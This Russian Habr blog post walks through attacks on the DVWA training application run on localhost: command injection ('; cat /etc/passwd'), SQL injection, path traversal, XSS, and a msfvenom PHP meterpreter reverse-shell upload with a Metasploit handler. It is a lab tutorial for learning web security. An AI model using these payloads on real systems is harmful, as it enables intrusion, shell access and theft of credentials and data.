Некоторые базовые примеры атаки на уязвимую машину DVWA

Всех приветствую, читатели Хабра! В сегодняшней статье я поделюсь некоторыми типами атак на веб-приложение DVWA и не только, и само собой разуемеется покажу как устанавливать данную машину.

Сразу хочу сказать что данную машину можно поднять и на докер (хотя я встречал и образ под virtualbox). Хотя если использовать дистрибутив Kali GNU/Linux то данная уязвимая машина присутствует в репозиториях дистрибутива и ее можно установить на дистрибутив без поиска в сети образа для докер или виртуал бокс.

Но я объясню как ее возможно запустить с докера, и установить + запустить из репозитория (для Kali Linux).

Примечание

Правовая информация:

Данная статья создана исключительно в ознакомительных/образовательных/развивающих целях. Автор статьи не несет ответственности за ваши действия. Автор статьи ни к чему не призывает, более того напоминаю о существовании некоторых статей в уголовном кодексе РФ, их никто не отменял:

  • УК РФ Статья 272. Неправомерный доступ к компьютерной информации

  • УК РФ Статья 273. Создание, использование и распространение вредоносных компьютерных программ

  • УК РФ Статья 274. Нарушение правил эксплуатации средств хранения, обработки или передачи компьютерной информации и информационно-телекоммуникационных сетей

Все атаки я проводил на локальный сервер, внутри моего сетевого интерфейса, на моем компьютере, то есть все действия легитимны.

И как всегда просьба не переходить на личности в комментариях, если вы обнаружили ошибку недочет или неточность, просто без оскорблений напишите комментарий или напишите мне личным сообщением. Здесь я делюсь своим опытом, и не более, это своего рода онлайн-шпаргалка. Также хочу отметить, что здесь на хабре я не находил примеров прохождения данной уязвимой машины, находил лишь упоминания. И вообще в русско-язычном сегменте интернет не так много информации по данной уязвимой машине, в основном зарубежные источники. Поэтому и делюсь опытом

Про установку я напишу в начале, а теперь к алгоритму.

Алгоритм атаки будет следующий:

  1. Запуск образа уязвимой машины

  2. Сканирование цели

  3. Эксплуатация уязвимостей

Итак приступим к практике

1) Запуск образа уязвимой машины

Скачать образ виртуальной машины можно https://www.vulnhub.com/entry/damn-vulnerable-web-application-dvwa-107,43/ iso-образ, и например здесь докер-образ https://github.com/cytopia/docker-dvwa/tree/master

Если использовать докер файл необходимо зайти в директорию с файлом с расширением *.yml, после чего открыть терминал и запусить сборку и запуск уязвимой машины:

sudo docker-compose build
sudo docker-compose up -d
ifconfig

Но для Kali Linux есть более простой метод — просто установить данную машину. Разберем как это сделать.

Для начала найдем ее в репозитории, и после этого установим:

apt search dvwa
sudo apt update
sudo apt install dvwa

3a29636a21eb1b69b552832ef3d9b084.png

После установки запустим ее:

dvwa-start

24229912fa8a64a8b76d3497d003c7ae.png

В крайнем случае не надо искать нужный сетевой мост на локальном интерфейсе, машина запустится на локалхост — 127.0.0.1. В случае с докером (или виртуалбокс) необходимо будет найти машину. Например если мы подняли машину на виртуалбокс (само собой разумеется в том же сетевом интерфейсе где и атакующая система!!!) комутатор имеет адрес 192.168.0.1 необходимо найти уязвимую машину просто перебрав ее nmap-ом:

nmap 192.168.0.1-255

В моем случае все проще — 127.0.0.1

2) Сканирование цели

Сканируем цель nmap

nmap -p- -sV 127.0.0.1

810ded32959074af2fceaded64ecf33f.png

Видим открытые порты. Нам нужен второй
Просто открываем браузер и вводим 127.0.0.1:42001

6ee433ed964dd69c11452e9d81109d1d.png

Запускается веб-приложение. Авторизуемся парой логин пароль — admin password

Открываются панель со вкладками под разные уязвимости

6934fd15945d97769ec31c5ea0a5a8f6.png

Первое куда входим — DVWA Security

01b5dc05f12a337b23d8b20e2d501301.png

После чего настраиваем уровень сложности для прохождение на low — базовый уровень, самый простой.

8a6ebff0d794ea24dec53fb55e43ccae.png

После чего начинаем переходить по средним вкладкам с сами уязвимостями

3) Эксплуатация уязвимостей

Первую уязвимую страницу (Brute Force) я пропущу, так как я пробовал использовать для брутфорса и hydra и burpsuite, хотя мало что из этого получилось. Да и к тому же в данной машине есть более вкусные примеры

3.1) Command Injection

Command Injection или OS Command Injection — очень серьзная уязвимость. Позволяет выполнять команды операционной системы прямо в веб-приложении которое запускается в этой ОС.

Во вкладке Command Injection имеется строка для пинга хоста/узла или ip адреса. И соответственно введя в поле домен или ip машина пропингует его. Но хитрость заключается в другом — кроме ip адреса, можно ввести и любые другие unix-команды (для терминала), которые также будут выполняться. То есть, через данную строку есть доступ ко всей системе

Введем ip адрес и команды pwd ls id через точку с запятой:

127.0.0.1 ; pwd ; ls ; id

ba5bb827dfd49388d686c6c59ddded8d.png

Нажмем Submit

c3bafd571f8c3c90dd66708783d6a9ea.png

И приложение действительно пропинговало хост, вывело текущую диреткорию и ее содержимое, и текущего пользователя

264837d01f77bf048c5992ebff0edca8.png

Естественно что через точку запятой можно выполнить например

cat /etc/passwd

В общем последствия могут быть самые непредсказуемые, и не надо никакого брутфорса

3.2) CSRF

Уязвимость CSRF, проэксплуатируем ее.

98743744ec6d975fcbd83328d6acef1a.png

На этой вкладке нам предлагают сменить пароль. Но интересна не сама вкладка, а адресная строка. Поменяем пароль на passwd, например

0608b21e84472f4d4d56a68ade1cf87c.png

И в адресной строке стало видно пароль, со всеми вытекающими

3.3) File Upload

В данной вкладке мы можем выгрузить файл на сервер

60ea33a6df5c3839c5931d046bb4ab12.png

Для начала я загрузил файл secret на страничке

7864799167b463671b555ea24044e9a5.png

Upload

283103772586eb6863ba1d857bcf92f5.png

и тут же получил его адрес

Забиваю в адресной строке http://127.0.0.1:42001/vulnerabilities/upload/…/…/hackable/uploads/secret и файл secret будет скачан

7c4462c58100a00eb727ac1cc5913946.png03ca9910b212bdf933c00c13c61f69be.png

Или зная название файла и его адрес можно получитьсразу его содержимое, просто забив в терминале

curl http://127.0.0.1:42001/vulnerabilities/upload/../../hackable/uploads/secret

67d7480ba724b6be415119190a915d60.png

Но возможнен и другой, более интересный способ, который не только предоставит доступ к файлу, но и доступ к системе — загрузить вредоносный файл

Для начала в терминале воспользуемся модулем metasploit — msfvenom — модуль для создания полезной нагрузки (эксплоита):

msfvenom -l payloads | grep php
msfvenom -p php/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f raw > exploit.php

dd56b049757ea53cd0843cb68b662998.png

Создается вредоносный exploit.php

После чего заходим в metasploit в терминале

msfconsole

ищем уязвимость /multi/handler

search /multi/handler

выбираем нужную (в моем случае 6-ая строка)

use 6

после чего задаемполезную нагрузку

set payload php/meterpreter/reverse_tcp

ca4b8e144cddd7695950d8a8ffd587c7.png

Загружаем в веб-приложении вредоносный exploit.php, (естественно файл загрузится на сервер приложения) таким образом «отравив» его

fc93ad8d46d1ff1d11ca1973860e8a86.png

После чего возвращаемся в терминал в метасплоит, узнаем опции

options

Задаем LHOST

set LHOST 127.0.0.1

760f5d660bff927d9b46e9e049abfd40.png

После чего начинаем атаку (run или exploit)

ed414ab252301e00888cb52bac73caee.png

Собственно говоря эксплоит успешен, хоть и работает медленно и со сбоями (иначе вылезла бы красная строка).

3.4) SQL Injection

Про SQL Injection много чего написано и в рунете и на зарубежных сайтах. Я лишь продублирую множество ресурсов, но очень просто, коротко и своими словами: SQL инъекции — это инъекции кода SQL, благодаря которому можно получить доступ (фактически открытый) к базе данных, например логины, пароли и емэйлы пользователей и админов, к примеру в самом веб приложении.

Откроем соответствующую вкладку

19a11c9b8326b2ceb10639eaf39665c9.png

и в user id вобьем команду 1' OR 1=1 #

9e918fb286bbeedf1d0cbbd164f41bea.png

Submit

42658ef49f65fc24e02d299df2944684.png

Получаем базу с id и именами (и фамилиями) пользователей

3.5) XSS

Следующий тип атак — XSS. Позволяет выполнить свой код в уязвимом веб-приложении.

XSS (англ. Cross-Site Scripting — «межсайтовый скриптинг») — подтип атаки на веб-системы, заключающийся во внедрении в выдаваемую веб-системой страницу вредоносного кода (который будет выполнен на компьютере пользователя при открытии им этой страницы) и взаимодействии этого кода с веб-сервером злоумышленника. Является разновидностью атаки «Внедрение кода». (https://ru.wikipedia.org/wiki/Межсайтовый_скриптинг)

Первая вкладка XSS (DOM) предлагает сменить/выбрать язык
При этом обязательно обращаем внимание на адресную строку

520f9e3ad67e28a7219b9f35de1db2f2.png

Выбираем English — Select

Наблюдаем, что в адресной строке появились изменения ? default=English

1077838f3e03a084541f8d832fc75e57.png

Теперь поменяем English на  то есть простой javascript, выводящий на экран окно с текстом »1»

f35aff540a8781f4b2da16b2290601c7.png

Enter

результат выполнения скрипта
результат выполнения скрипта

Следующая вкладка XSS (Reflected)

3922383eea0ebcee66ee946a1ebe8e99.png

Поле для ввода имени

Вобьем в него тот же скрипт

274b55806e8a250b408e8a57666e0ac2.png

Submit

c6683906ed8e8e15b7830262aa9909c8.png

Или же вот такой

58b6f0777bc5fdcfe19b2148837fe93f.png

Submit

165455a5543e0bcfa9350337f8a11876.png

и здесь в веб-приложении выполняется наш код

Вкладка XSS (Stored)

fb8617511024ba968fdf42ee6467e212.png

В поле имени можно вбить например name, в поле сообщения снова

db95bef8446b14b709dc056f587a5593.png

Sign …

408127b950000b67e670ce0e77d3927a.png

И снова наблюдаем выполнение нашего кода в веб-приложении. Конечно наш код безобидный (выводит лишь сообщения в окне), но злоумышленник таким образом может выполнить и вполне вредоносный код.

3.6) Open HTTP Redirect

Очень интересная уязвимость Open HTTP Redirect. Позволяет получить доступ к страницам, благодаря переадресации в адресной строке.

37263dccdf99fa395d1411aaad51af36.png

Откроем сразу Quote2

43b443d6490b9e00ca75594e49f3814c.png

в конце адреса в адресной строке видим info.php? id=2. Очевидно, что если есть info.php? id=2 то есть и info.php? id=1. Подменим запрос прямо в адресной строке

2e303145b0383026a562dde92d35e176.png

Enter

09e586eec97bd57a8294a90941b0a906.png

И получаем страницу, созданную ранее

Конечно в данном примере, страниц всего 2, и не очень интересно. Но на некоторых уязвимых сайтах имеются несколько тысяч id (info.php? id=n-ное число), и переходя на info.php? id=n — 1 возможно получить доступ к другим страничкам.

В данном примере

ebb5ea6aed57c829ac0650acd41ebebd.png

введя info.php? id=3 в адресной строке и перейдя — ничего не получаем, так как такой странички нет

такие же значения и для последующих id
такие же значения и для последующих id

3.7) Cryptography

Вкладка Cryptography. В сущности ничего необычного — уязвимое веб-приложение которое сохнаняет данные предидущей сессии (небезопасное криптографическое хранилище)

шифрованая строка
шифрованая строка

Копируем шифрованую строку, вставляем в первое поле (для шифровки Encode и дешифровки Decode), нажимаем Decode

80fe6d6101c1b4a3f171a10b6bb7300b.png

Submit — дешифруем

Ваш новый пароль: Olifant (перевод)
Ваш новый пароль: Olifant (перевод)

Копируем Olifant, вставляем в поле пароля

9935096d5789b1eb76e8a1e4e0871dd7.png

Login

25854a9ceee1e19ab6ebdd7b3b65179f.png

Результат — авторизация

Само собой это не все уязвимости, имеющиеся на данной машине. Однако я показал самые простенькие и интересные из них.

А на этом у меня сегодня все, уважаемые читатели Хабра, до новых встреч!

Habrahabr.ru прочитано 7069 раз